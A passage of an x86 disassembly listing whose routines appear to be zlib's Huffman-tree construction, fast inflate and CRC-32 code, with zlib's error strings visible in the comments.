--------------------------------------------------------------------------- loc_42CDD6: ; CODE XREF: sub_42C5C0+800j mov ecx, [ebp+var_EC] xor ecx, [ebp+var_F4] mov [ebp+var_EC], ecx mov edx, 1 mov ecx, [ebp+var_9C] shl edx, cl sub edx, 1 mov [ebp+var_F8], edx loc_42CDFE: ; CODE XREF: sub_42C5C0+890j mov eax, [ebp+var_EC] and eax, [ebp+var_F8] mov ecx, [ebp+var_E4] cmp eax, [ebp+ecx*4+var_E0] jz short loc_42CE52 mov edx, [ebp+var_E4] sub edx, 1 mov [ebp+var_E4], edx mov eax, [ebp+var_9C] sub eax, [ebp+var_100] mov [ebp+var_9C], eax mov edx, 1 mov ecx, [ebp+var_9C] shl edx, cl sub edx, 1 mov [ebp+var_F8], edx jmp short loc_42CDFE ; --------------------------------------------------------------------------- loc_42CE52: ; CODE XREF: sub_42C5C0+857j jmp loc_42CA55 ; --------------------------------------------------------------------------- loc_42CE57: ; CODE XREF: sub_42C5C0+4A3j jmp loc_42CA27 ; --------------------------------------------------------------------------- loc_42CE5C: ; CODE XREF: sub_42C5C0+482j cmp [ebp+var_E8], 0 jz short loc_42CE7A cmp [ebp+var_A0], 1 jz short loc_42CE7A mov [ebp+var_108], 0FFFFFFFBh jmp short loc_42CE84 ; --------------------------------------------------------------------------- loc_42CE7A: ; CODE XREF: sub_42C5C0+8A3j ; sub_42C5C0+8ACj mov [ebp+var_108], 0 loc_42CE84: ; CODE XREF: sub_42C5C0+8B8j mov eax, [ebp+var_108] loc_42CE8A: ; CODE XREF: sub_42C5C0+190j ; sub_42C5C0+2C5j ... mov esp, ebp pop ebp retn sub_42C5C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CE8E proc near ; CODE XREF: sub_42B1FD+A62p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 0 push 4 push 13h mov eax, [ebp+arg_10] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_10] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42CEBF mov eax, 0FFFFFFFCh jmp short loc_42CF32 ; --------------------------------------------------------------------------- loc_42CEBF: ; CODE XREF: sub_42CE8E+28j mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_8] push ecx push 0 push 0 push 13h push 13h mov edx, [ebp+arg_0] push edx call sub_42C5C0 add esp, 28h mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFDh jnz short loc_42CEFC mov eax, [ebp+arg_10] mov dword ptr [eax+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"... jmp short loc_42CF1B ; --------------------------------------------------------------------------- loc_42CEFC: ; CODE XREF: sub_42CE8E+60j cmp [ebp+var_4], 0FFFFFFFBh jz short loc_42CF0A mov ecx, [ebp+arg_4] cmp dword ptr [ecx], 0 jnz short loc_42CF1B loc_42CF0A: ; CODE XREF: sub_42CE8E+72j mov edx, [ebp+arg_10] mov dword ptr [edx+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree" mov [ebp+var_4], 0FFFFFFFDh loc_42CF1B: ; CODE XREF: sub_42CE8E+6Cj ; sub_42CE8E+7Aj mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_10] call dword ptr [eax+24h] add esp, 8 mov eax, [ebp+var_4] loc_42CF32: ; CODE XREF: sub_42CE8E+2Fj mov esp, ebp pop ebp retn sub_42CE8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CF36 proc near ; CODE XREF: sub_42B1FD+F01p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 0 push 4 push 120h mov eax, [ebp+arg_20] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_20] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42CF6D mov eax, 0FFFFFFFCh jmp loc_42D0B7 ; --------------------------------------------------------------------------- loc_42CF6D: ; CODE XREF: sub_42CF36+2Bj mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_14] push ecx push offset dword_434538 push offset dword_4344BC push 101h mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_8] push eax call sub_42C5C0 add esp, 28h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42CFB1 mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_42CFF6 loc_42CFB1: ; CODE XREF: sub_42CF36+71j cmp [ebp+var_4], 0FFFFFFFDh jnz short loc_42CFC3 mov edx, [ebp+arg_20] mov dword ptr [edx+18h], offset aOversubscrib_0 ; "oversubscribed literal/length tree" jmp short loc_42CFDA ; --------------------------------------------------------------------------- loc_42CFC3: ; CODE XREF: sub_42CF36+7Fj cmp [ebp+var_4], 0FFFFFFFCh jz short loc_42CFDA mov eax, [ebp+arg_20] mov dword ptr [eax+18h], offset aIncompleteLite ; "incomplete literal/length tree" mov [ebp+var_4], 0FFFFFFFDh loc_42CFDA: ; CODE XREF: sub_42CF36+8Bj ; sub_42CF36+91j mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_20] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_20] call dword ptr [ecx+24h] add esp, 8 mov eax, [ebp+var_4] jmp loc_42D0B7 ; --------------------------------------------------------------------------- loc_42CFF6: ; CODE XREF: sub_42CF36+79j mov edx, [ebp+var_C] push edx lea eax, [ebp+var_8] push eax mov ecx, [ebp+arg_1C] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_18] push eax push offset dword_43462C push offset dword_4345B4 push 0 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_8] lea ecx, [eax+edx*4] push ecx call sub_42C5C0 add esp, 28h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42D046 mov edx, [ebp+arg_10] cmp dword ptr [edx], 0 jnz short loc_42D0A1 cmp [ebp+arg_0], 101h jbe short loc_42D0A1 loc_42D046: ; CODE XREF: sub_42CF36+FDj cmp [ebp+var_4], 0FFFFFFFDh jnz short loc_42D058 mov eax, [ebp+arg_20] mov dword ptr [eax+18h], offset aOversubscrib_1 ; "oversubscribed distance tree" jmp short loc_42D088 ; --------------------------------------------------------------------------- loc_42D058: ; CODE XREF: sub_42CF36+114j cmp [ebp+var_4], 0FFFFFFFBh jnz short loc_42D071 mov ecx, [ebp+arg_20] mov dword ptr [ecx+18h], offset aIncompleteDist ; "incomplete distance tree" mov [ebp+var_4], 0FFFFFFFDh jmp short loc_42D088 ; --------------------------------------------------------------------------- loc_42D071: ; CODE XREF: sub_42CF36+126j cmp [ebp+var_4], 0FFFFFFFCh jz short loc_42D088 mov edx, [ebp+arg_20] mov dword ptr [edx+18h], offset aEmptyDistanceT ; "empty distance tree with lengths" mov [ebp+var_4], 0FFFFFFFDh loc_42D088: ; CODE XREF: sub_42CF36+120j ; sub_42CF36+139j ... mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_20] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_20] call dword ptr [eax+24h] add esp, 8 mov eax, [ebp+var_4] jmp short loc_42D0B7 ; --------------------------------------------------------------------------- loc_42D0A1: ; CODE XREF: sub_42CF36+105j ; sub_42CF36+10Ej mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_20] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_20] call dword ptr [ecx+24h] add esp, 8 xor eax, eax loc_42D0B7: ; CODE XREF: sub_42CF36+32j ; sub_42CF36+BBj ... mov esp, ebp pop ebp retn sub_42CF36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D0BB proc near ; CODE XREF: sub_42B1FD+1A8p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 9 mov ecx, [ebp+arg_4] mov dword ptr [ecx], 5 mov edx, [ebp+arg_8] mov dword ptr [edx], offset dword_433340 mov eax, [ebp+arg_C] mov dword ptr [eax], offset dword_434340 xor eax, eax pop ebp retn sub_42D0BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D0E6 proc near ; CODE XREF: sub_42A2DE+106p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_14] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_14] mov eax, [edx+4] mov [ebp+var_34], eax mov ecx, [ebp+arg_10] mov edx, [ecx+20h] mov [ebp+var_10], edx mov eax, [ebp+arg_10] mov ecx, [eax+1Ch] mov [ebp+var_28], ecx mov edx, [ebp+arg_10] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_42D134 mov eax, [ebp+arg_10] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_38], ecx jmp short loc_42D140 ; --------------------------------------------------------------------------- loc_42D134: ; CODE XREF: sub_42D0E6+3Bj mov edx, [ebp+arg_10] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_38], eax loc_42D140: ; CODE XREF: sub_42D0E6+4Cj mov ecx, [ebp+var_38] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, dword_4332F8[edx*4] mov [ebp+var_24], eax mov ecx, [ebp+arg_4] mov edx, dword_4332F8[ecx*4] mov [ebp+var_30], edx loc_42D160: ; CODE XREF: sub_42D0E6+AFj ; sub_42D0E6+639j cmp [ebp+var_28], 14h jnb short loc_42D197 mov eax, [ebp+var_34] sub eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_28] shl edx, cl mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_28] add edx, 8 mov [ebp+var_28], edx jmp short loc_42D160 ; --------------------------------------------------------------------------- loc_42D197: ; CODE XREF: sub_42D0E6+7Ej mov eax, [ebp+var_10] and eax, [ebp+var_24] mov ecx, [ebp+arg_8] lea edx, [ecx+eax*8] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx cmp [ebp+var_20], 0 jnz short loc_42D1FA mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_1C] mov dl, [ecx+4] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx jmp loc_42D712 ; --------------------------------------------------------------------------- loc_42D1FA: ; CODE XREF: sub_42D0E6+CEj ; sub_42D0E6:loc_42D70Dj mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_20] and eax, 10h test eax, eax jz loc_42D539 mov ecx, [ebp+var_20] and ecx, 0Fh mov [ebp+var_20], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_10] and eax, dword_4332F8[edx*4] mov ecx, [ebp+var_1C] mov edx, [ecx+4] add edx, eax mov [ebp+var_14], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_20] shr eax, cl mov [ebp+var_10], eax mov ecx, [ebp+var_28] sub ecx, [ebp+var_20] mov [ebp+var_28], ecx loc_42D25F: ; CODE XREF: sub_42D0E6+1B0j cmp [ebp+var_28], 0Fh jnb short loc_42D298 mov edx, [ebp+var_34] sub edx, 1 mov [ebp+var_34], edx mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_28] shl edx, cl mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_28] add edx, 8 mov [ebp+var_28], edx jmp short loc_42D25F ; --------------------------------------------------------------------------- loc_42D298: ; CODE XREF: sub_42D0E6+17Dj mov eax, [ebp+var_10] and eax, [ebp+var_30] mov ecx, [ebp+arg_C] lea edx, [ecx+eax*8] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx loc_42D2B1: ; CODE XREF: sub_42D0E6:loc_42D52Fj mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_20] and eax, 10h test eax, eax jz loc_42D44D mov ecx, [ebp+var_20] and ecx, 0Fh mov [ebp+var_20], ecx loc_42D2EA: ; CODE XREF: sub_42D0E6+23Bj mov edx, [ebp+var_28] cmp edx, [ebp+var_20] jnb short loc_42D323 mov eax, [ebp+var_34] sub eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_28] shl edx, cl mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_28] add edx, 8 mov [ebp+var_28], edx jmp short loc_42D2EA ; --------------------------------------------------------------------------- loc_42D323: ; CODE XREF: sub_42D0E6+20Aj mov eax, [ebp+var_20] mov ecx, [ebp+var_10] and ecx, dword_4332F8[eax*4] mov edx, [ebp+var_1C] mov eax, [edx+4] add eax, ecx mov [ebp+var_18], eax mov edx, [ebp+var_10] mov ecx, [ebp+var_20] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_28] sub eax, [ebp+var_20] mov [ebp+var_28], eax mov ecx, [ebp+var_2C] sub ecx, [ebp+var_14] mov [ebp+var_2C], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_8] sub eax, [edx+28h] cmp eax, [ebp+var_18] jb short loc_42D3BB mov ecx, [ebp+var_8] sub ecx, [ebp+var_18] mov [ebp+var_C], ecx mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx jmp short loc_42D41D ; --------------------------------------------------------------------------- loc_42D3BB: ; CODE XREF: sub_42D0E6+27Ej mov edx, [ebp+arg_10] mov eax, [ebp+var_8] sub eax, [edx+28h] mov ecx, [ebp+var_18] sub ecx, eax mov [ebp+var_20], ecx mov edx, [ebp+arg_10] mov eax, [edx+2Ch] sub eax, [ebp+var_20] mov [ebp+var_C], eax mov ecx, [ebp+var_14] cmp ecx, [ebp+var_20] jbe short loc_42D41D mov edx, [ebp+var_14] sub edx, [ebp+var_20] mov [ebp+var_14], edx loc_42D3E9: ; CODE XREF: sub_42D0E6+32Cj mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx cmp [ebp+var_20], 0 jnz short loc_42D3E9 mov eax, [ebp+arg_10] mov ecx, [eax+28h] mov [ebp+var_C], ecx loc_42D41D: ; CODE XREF: sub_42D0E6+2D3j ; sub_42D0E6+2F8j ... mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 0 jnz short loc_42D41D jmp loc_42D534 ; --------------------------------------------------------------------------- loc_42D44D: ; CODE XREF: sub_42D0E6+1F5j mov edx, [ebp+var_20] and edx, 40h test edx, edx jnz short loc_42D48B mov eax, [ebp+var_1C] mov ecx, [eax+4] mov edx, [ebp+var_1C] lea eax, [edx+ecx*8] mov [ebp+var_1C], eax mov ecx, [ebp+var_20] mov edx, [ebp+var_10] and edx, dword_4332F8[ecx*4] mov eax, [ebp+var_1C] lea ecx, [eax+edx*8] mov [ebp+var_1C], ecx mov edx, [ebp+var_1C] xor eax, eax mov al, [edx] mov [ebp+var_20], eax jmp loc_42D52F ; --------------------------------------------------------------------------- loc_42D48B: ; CODE XREF: sub_42D0E6+36Fj mov ecx, [ebp+arg_14] mov dword ptr [ecx+18h], offset aInvalidDista_0 ; "invalid distance code" mov edx, [ebp+arg_14] mov eax, [edx+4] sub eax, [ebp+var_34] mov [ebp+var_14], eax mov ecx, [ebp+var_28] shr ecx, 3 cmp ecx, [ebp+var_14] jnb short loc_42D4B7 mov edx, [ebp+var_28] shr edx, 3 mov [ebp+var_3C], edx jmp short loc_42D4BD ; --------------------------------------------------------------------------- loc_42D4B7: ; CODE XREF: sub_42D0E6+3C4j mov eax, [ebp+var_14] mov [ebp+var_3C], eax loc_42D4BD: ; CODE XREF: sub_42D0E6+3CFj mov ecx, [ebp+var_3C] mov [ebp+var_14], ecx mov edx, [ebp+var_34] add edx, [ebp+var_14] mov [ebp+var_34], edx mov eax, [ebp+var_4] sub eax, [ebp+var_14] mov [ebp+var_4], eax mov ecx, [ebp+var_14] shl ecx, 3 mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_10] mov [eax+20h], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_28] mov [edx+1Ch], eax mov ecx, [ebp+arg_14] mov edx, [ebp+var_34] mov [ecx+4], edx mov eax, [ebp+arg_14] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_14] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_14] mov [ecx+8], eax mov edx, [ebp+arg_14] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, 0FFFFFFFDh jmp loc_42D7B7 ; --------------------------------------------------------------------------- loc_42D52F: ; CODE XREF: sub_42D0E6+3A0j jmp loc_42D2B1 ; --------------------------------------------------------------------------- loc_42D534: ; CODE XREF: sub_42D0E6+362j jmp loc_42D712 ; --------------------------------------------------------------------------- loc_42D539: ; CODE XREF: sub_42D0E6+13Ej mov eax, [ebp+var_20] and eax, 40h test eax, eax jnz short loc_42D5C1 mov ecx, [ebp+var_1C] mov edx, [ecx+4] mov eax, [ebp+var_1C] lea ecx, [eax+edx*8] mov [ebp+var_1C], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_10] and eax, dword_4332F8[edx*4] mov ecx, [ebp+var_1C] lea edx, [ecx+eax*8] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx cmp [ebp+var_20], 0 jnz short loc_42D5BC mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_1C] mov dl, [ecx+4] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx jmp loc_42D712 ; --------------------------------------------------------------------------- loc_42D5BC: ; CODE XREF: sub_42D0E6+490j jmp loc_42D70D ; --------------------------------------------------------------------------- loc_42D5C1: ; CODE XREF: sub_42D0E6+45Bj mov edx, [ebp+var_20] and edx, 20h test edx, edx jz loc_42D669 mov eax, [ebp+arg_14] mov ecx, [eax+4] sub ecx, [ebp+var_34] mov [ebp+var_14], ecx mov edx, [ebp+var_28] shr edx, 3 cmp edx, [ebp+var_14] jnb short loc_42D5F1 mov eax, [ebp+var_28] shr eax, 3 mov [ebp+var_40], eax jmp short loc_42D5F7 ; --------------------------------------------------------------------------- loc_42D5F1: ; CODE XREF: sub_42D0E6+4FEj mov ecx, [ebp+var_14] mov [ebp+var_40], ecx loc_42D5F7: ; CODE XREF: sub_42D0E6+509j mov edx, [ebp+var_40] mov [ebp+var_14], edx mov eax, [ebp+var_34] add eax, [ebp+var_14] mov [ebp+var_34], eax mov ecx, [ebp+var_4] sub ecx, [ebp+var_14] mov [ebp+var_4], ecx mov edx, [ebp+var_14] shl edx, 3 mov eax, [ebp+var_28] sub eax, edx mov [ebp+var_28], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_10] mov [ecx+20h], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_28] mov [eax+1Ch], ecx mov edx, [ebp+arg_14] mov eax, [ebp+var_34] mov [edx+4], eax mov ecx, [ebp+arg_14] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_14] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_14] mov [edx+8], ecx mov eax, [ebp+arg_14] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_8] mov [edx+34h], eax mov eax, 1 jmp loc_42D7B7 ; --------------------------------------------------------------------------- loc_42D669: ; CODE XREF: sub_42D0E6+4E3j mov ecx, [ebp+arg_14] mov dword ptr [ecx+18h], offset aInvalidLiter_0 ; "invalid literal/length code" mov edx, [ebp+arg_14] mov eax, [edx+4] sub eax, [ebp+var_34] mov [ebp+var_14], eax mov ecx, [ebp+var_28] shr ecx, 3 cmp ecx, [ebp+var_14] jnb short loc_42D695 mov edx, [ebp+var_28] shr edx, 3 mov [ebp+var_44], edx jmp short loc_42D69B ; --------------------------------------------------------------------------- loc_42D695: ; CODE XREF: sub_42D0E6+5A2j mov eax, [ebp+var_14] mov [ebp+var_44], eax loc_42D69B: ; CODE XREF: sub_42D0E6+5ADj mov ecx, [ebp+var_44] mov [ebp+var_14], ecx mov edx, [ebp+var_34] add edx, [ebp+var_14] mov [ebp+var_34], edx mov eax, [ebp+var_4] sub eax, [ebp+var_14] mov [ebp+var_4], eax mov ecx, [ebp+var_14] shl ecx, 3 mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_10] mov [eax+20h], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_28] mov [edx+1Ch], eax mov ecx, [ebp+arg_14] mov edx, [ebp+var_34] mov [ecx+4], edx mov eax, [ebp+arg_14] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_14] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_14] mov [ecx+8], eax mov edx, [ebp+arg_14] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, 0FFFFFFFDh jmp loc_42D7B7 ; --------------------------------------------------------------------------- loc_42D70D: ; CODE XREF: sub_42D0E6:loc_42D5BCj jmp loc_42D1FA ; --------------------------------------------------------------------------- loc_42D712: ; CODE XREF: sub_42D0E6+10Fj ; sub_42D0E6:loc_42D534j ... cmp [ebp+var_2C], 102h jb short loc_42D725 cmp [ebp+var_34], 0Ah jnb loc_42D160 loc_42D725: ; CODE XREF: sub_42D0E6+633j mov eax, [ebp+arg_14] mov ecx, [eax+4] sub ecx, [ebp+var_34] mov [ebp+var_14], ecx mov edx, [ebp+var_28] shr edx, 3 cmp edx, [ebp+var_14] jnb short loc_42D747 mov eax, [ebp+var_28] shr eax, 3 mov [ebp+var_48], eax jmp short loc_42D74D ; --------------------------------------------------------------------------- loc_42D747: ; CODE XREF: sub_42D0E6+654j mov ecx, [ebp+var_14] mov [ebp+var_48], ecx loc_42D74D: ; CODE XREF: sub_42D0E6+65Fj mov edx, [ebp+var_48] mov [ebp+var_14], edx mov eax, [ebp+var_34] add eax, [ebp+var_14] mov [ebp+var_34], eax mov ecx, [ebp+var_4] sub ecx, [ebp+var_14] mov [ebp+var_4], ecx mov edx, [ebp+var_14] shl edx, 3 mov eax, [ebp+var_28] sub eax, edx mov [ebp+var_28], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_10] mov [ecx+20h], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_28] mov [eax+1Ch], ecx mov edx, [ebp+arg_14] mov eax, [ebp+var_34] mov [edx+4], eax mov ecx, [ebp+arg_14] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_14] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_14] mov [edx+8], ecx mov eax, [ebp+arg_14] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_8] mov [edx+34h], eax xor eax, eax loc_42D7B7: ; CODE XREF: sub_42D0E6+444j ; sub_42D0E6+57Ej ... mov esp, ebp pop ebp retn sub_42D0E6 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, offset dword_4346A4 pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D7C5 proc near ; CODE XREF: sub_42FB02+1D4p ; sub_42FB02+29Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_42D7D5 xor eax, eax jmp loc_42D99E ; --------------------------------------------------------------------------- loc_42D7D5: ; CODE XREF: sub_42D7C5+7j mov eax, [ebp+arg_0] xor eax, 0FFFFFFFFh mov [ebp+arg_0], eax loc_42D7DE: ; CODE XREF: sub_42D7C5+18Cj cmp [ebp+arg_8], 8 jb loc_42D956 mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4346A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4346A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4346A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4346A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4346A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov 